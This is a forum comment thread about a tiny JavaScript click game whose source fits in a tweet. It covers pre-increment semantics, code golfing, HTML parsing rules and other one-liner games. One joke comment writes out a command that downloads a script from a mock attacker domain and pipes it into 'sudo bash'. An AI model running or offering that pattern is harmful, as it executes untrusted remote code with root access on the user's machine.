15 ms·
A game whose source code fits in one tweet
- wunderlust 11y agoWhat exactly is happening here: "a.style.margin=++s+e%300"? (Specifically, the "++" part.)
- marpstar 11y agoincrements `s` before evaluating the expression and adds it to (e % 300)
- username 11y ago++ will increment s before the new margin is set.
- SapphireSun 11y agos += 1 a.style.margin = (s + e) % 300
- mgraczyk 11y agoIncrement global state variable, add it to e, which is the number of milliseconds the game has been running modulo 300. Then set the margin size to that value. It's a simple pseudo-pseudorandom number generator.
- andrewmunsell 11y agoIn case any one was wondering the difference between "s++" and "++s" (the former of which is probably more common), prepending the "++" increments the variable before returning it, whereas appending it would increment after returning the value. The code you posted is essentially equivalent to "s = s + 1; a.style.margin = s + e % 300".
- bigiain 11y agoWas half expecting this to be: curl http://www.hackerz-r-us.ru/really_awesome_game.sh http://www.hackerz-r-us.ru/really_awesome_game.sh | sudo bash #YouveBeenP0wnd
- omgitstom 11y agoAnd that kept my interest for about 140 seconds. Pretty damn good character:fun ratio. Bravo!
- pavel_lishin 11y agoCute; I didn't realize that the element's ID implicitly mapped it to a javascript variable in Chrome.
- 67726e 11y agoCan anyone speak a bit more to that? I was wondering if this was just a convenience feature that browsers added or something that has been in Javascript all along?
- rev087 11y agoHas been like this for as long as I can remember (at least back to IE6).
- Klonoar 11y agoYup - in fact there's an old bug that jQuery (in versions < 2, I believe) accounts for where IE would return elements with a name equal to the id you're searching for as the underlying system there was all wonky. e.g: <input name="test"> <div id="test"> document.getElementById('test'); // <input> in IE6 I believe this also wound up in some Webkit and Opera releases, perhaps for emulation. Someone more knowledgeable about it all should feel free to correct me if I'm wrong though. (Edited for code formatting, I don't comment too much these days)
- xem 11y agoyay, I wrote an article about that! http://xem.github.io/articles/#implicitgetelementbyid_en http://xem.github.io/articles/#implicitgetelementbyid_en Cheers :)
- neckro23 11y agoIt's an old browser feature. I think the idea was so you could easily reference other elements in inline-HTML event handlers (onclick= etc.). Personally I find it handy for messing around in jsfiddle and the like: <pre id="out"></pre> [...] out.innerHTML += some_result;
- jakejake 11y agoincrements s before doing the rest of the calculation?
- tylersmith 11y agoAll that matters is that s changes for each call. It really doesn't matter what the value is or how it changes. In this case incrementing afterwards would be "s+++e%300" which looks gross and using any parenthesis for clarity would take up more space.
- arocks 11y agoIf you liked this then you might find my Python one liner games interesting [1]. They fit a tweet in most cases. [1]: http://arunrocks.com/python-one-liner-games/ http://arunrocks.com/python-one-liner-games/
- eigenbom 11y agoThese are pretty neat and very concise! :D
- simi_ 11y agoFor some reason copy-pasting some of those into iTerm2 doesn't work. http://i.imgur.com/GEMAeM8.png http://i.imgur.com/GEMAeM8.png
- vanous 11y agonot on a mac myself, but make sure to use python 3 python3 -c "import random;p=lambda:random.choice('7♪♫♣♠♦♥◄☼☽');[print('|'.join([p(),p(),p()]),end='\r') for i in range(8**5)]"
- throwathrowaway 11y agoI like that lambda trick. I was hoping Crash would actually crash the program so you could tell if you won by looking at the error it gives (if its KeyboardInterrupt or something else). Here's mine. $ python -c 'import random;L=sorted(str(random.randint(1,9)) for i in range(4));a=raw_input(L);print(eval(a)==24,sorted(filter(str.isdigit,a))==L)' ['2', '6', '7', '8']8*(7+2-6) (True, True) Try to make it print (True, True) without abusing eval too much (intended to be +-*/() only with digits as tokens). A nicer interface, but too long: import random;L=sorted(str(random.randint(1,9)) for i in range(4));a=raw_input(" ".join(L)+"\n> ");print(eval(a)==24,sorted(filter(str.isdigit,a))==L)
- dblotsky 11y agoTotally exploiting the fact invalid HTML is accepted by modern browsers. :P
- chrismorgan 11y agoSomewhat, but it can still be fitted in legal HTML 5 in 137 bytes: <!DOCTYPE html><title>X</title><script>s=0,t=Date.now()</script><p onclick="(e=Date.now()-t)<15e3?style.margin=++s+e%300+'px':alert(s)">X (Note that the original version is at least 36 bytes larger than it need be: https://github.com/omnus/tiny-twitch/pull/1 https://github.com/omnus/tiny-twitch/pull/1)
- shubhamjain 11y agoOP can save a few more characters by not using 'var' and using 'E' notation for representing 15000, i.e, 15E3, or better, 2E4.
- microcolonel 11y agoCould also use `!0` for `true`.
- ninkendo 11y agoHe could use the savings to close that <p> tag.
- latch 11y agoIt isn't XHTML. Closing <p> tags are optional (which is true for many tags). You don't even need opening HTML, HEAD or BODY tags.
- nekkoru 11y agoThat's only true in very specific cases: https://developer.mozilla.org/en/docs/Web/HTML/Element/p https://developer.mozilla.org/en/docs/Web/HTML/Element/p The start tag is mandatory. The end tag may be omitted if the <p> element is immediately followed by an <address>, <article>, <aside>, <blockquote>, <div>, <dl>, <fieldset>, <footer>, <form>, <h1>, <h2>, <h3>, <h4>, <h5>, <h6>, <header>, <hr>, <menu>, <nav>, <ol>, <pre>, <section>, <table>, <ul> or another <p> element, or if there is no more content in the parent element and the parent element is not an <a> element.
- myfonj 11y agoAnd "there is no more content in the parent element" applies here. Actually, what you call "very specific cases" are in fact, well, all reasonable cases. That list consists of all block level elements that can appear in `body`, so the statement could be reworded, that "<p> cannot contain any block-level element, so any inline element after <p> falls in, any block level element ends opened <p>". Funny fact is that presence of optional end tags means nearly nothing for HTML parsers used in current browsers, they just ignore them. Some border cases regarding white space exists, or at least existed in the past, but in general, if you feed browser with document <!doctype html><html><head><title>a</title></head><body><table><tbody><tr><td><p>b</p></td></tr></tbody></table></body></html>` or <!doctype html><title>a</title><table><tr><td><p>b</table>` makes absolutely no difference. Both will result in exactly same DOM tree, both are "100% valid W3C HTML documents".
- eigenbom 11y agoA few of us were doing this over on Twitter, with the typical "guess a number" games. But Alex's was the best so far! I built a few games, but all of them were too big. Here's a 2048/Threes-clone in <700 characters (or 5 tweets): https://twitter.com/eigenbom/status/615424395192877056 https://twitter.com/eigenbom/status/615424395192877056
- chrismorgan 11y agoI cut the size down by 39 bytes in https://github.com/omnus/tiny-twitch/pull/1 https://github.com/omnus/tiny-twitch/pull/1. You can trade 36 of those bytes for “legal HTML 5” status, too.
- escherize 11y agoI'm sorry I'm a dirty cheat: http://fetchh--captured.s3.amazonaws.com/Monosnap_2015-06-30_14-51-27.png http://fetchh--captured.s3.amazonaws.com/Monosnap_2015-06-30... while(true){f()}
- Omnus 11y agoAuthor here - I'll implement some of these suggestions and see if the extra space might allow for something a little more interesting. It's a pleasant surprise to see a pull request on this little thing.
- umeshunni 11y agoIf you're interested in really small games, the smallest game is Chess written in 487 bytes of x86 machine code: http://www.pouet.net/prod.php?which=64962 http://www.pouet.net/prod.php?which=64962 Source code here: http://olivier.poudade.free.fr/src/BootChess.asm http://olivier.poudade.free.fr/src/BootChess.asm
- asgard1024 11y agoReminds me when my father showed me "number guessing" game on TI-57 calculator. It had 50 instructions (button presses) of memory. It's interesting that the size wasn't that a big deal then. :-)
- fit2rule 11y agoI'm not really a gamer, but I do love me some synth one-liners: http://countercomplex.blogspot.co.at/2011/10/algorithmic-symphonies-from-one-line-of.html http://countercomplex.blogspot.co.at/2011/10/algorithmic-sym... Most of these would also fit in a single tweet ..
- JonnieCache 11y agoIt's OT but I can't resist: I recently found out that a selection of these little "synths" have been implemented in the chipsounds VST instrument using its bandlimited oscillators. You can play them up and down the keyboard and they sound awesome. http://www.plogue.com/products/chipsounds/ http://www.plogue.com/products/chipsounds/
- fit2rule 11y agoWow, that is really lovely .. thanks for pointing that out! (I'm really more of a hardware guy myself, love to strip the SID's from any C64's I find in the trash .. and of course synths (analog and digital) are really a different subject altogether .. but I'll check out chipsounds on a DAW next time I get a chance. Ta!)
- JonnieCache 11y agoYou will enjoy their blog: http://ploguechipsounds.blogspot.co.uk/ http://ploguechipsounds.blogspot.co.uk/
- fit2rule 11y agoYou are correct! Thank you!
- lalwanivikas 11y agoReminds me of a game I made while learning to code: http://lalwanivikas.github.io/window-game/ http://lalwanivikas.github.io/window-game/ (Concept inspired from Jennifer Dewalt's project, but code is entirely mine :))
- xem 11y agoCool! some suggestions: - show it on http://www.reddit.com/r/tinycode/ http://www.reddit.com/r/tinycode/ - if you aim for low character count instead of low byte count, you can pass your code through my unicide packer here: http://xem.github.io/obfuscatweet/ http://xem.github.io/obfuscatweet/ - Golf your code even more (using the tips of the other comments), and use all the remaining chars to add features to your game and fill the 140 chars of a tweet :) Cheers
- naugtur 11y agoShorter version: <p onclick=n=Date.now;id||(t=n(id=s=0));(e=n(++s)-t)<2E4?style.margin=e%300:alert(s)>X
- DaveSapien 11y agoDoesn't actually fit in a tweet. 12 characters too long...am I missing something?
- eigenbom 11y agoI think the . expands to a url so you have to use the zero-width space trick.
- david-given 11y agoOne thing I've always meant to do was to put together a system for loading and saving Sinclair ZX81 games via Twitter messages. Depending on how much you cheat, you can get about two bytes of data per Twitter character. That'd allow 256 bytes of game to live comfortably within a single twit, which is a quarter of an unexpanded ZX81 RAM. By comparison, that would take almost ten seconds to load off tape. You should be able to get a respectable ZX81 game in that. With something like the JtyOne Javascript ZX81 emulator (http://www.zx81stuff.org.uk/zx81/jtyone.html http://www.zx81stuff.org.uk/zx81/jtyone.html) and some Twitter interaction, the whole process should be pretty seamless --- click on a twit to play; modify it using the ZX81's built-in cough IDE; click on a button to reshare...
- bartbes 11y agoA few years ago I put a tiny game in a data uri in a QR code, unfortunately I lost the QR code, but I thought it was a neat concept.
- the_duck 11y agoThis game makes me feel like a cat.
- deleted 11y ago[deleted]
- deleted 11y ago[deleted]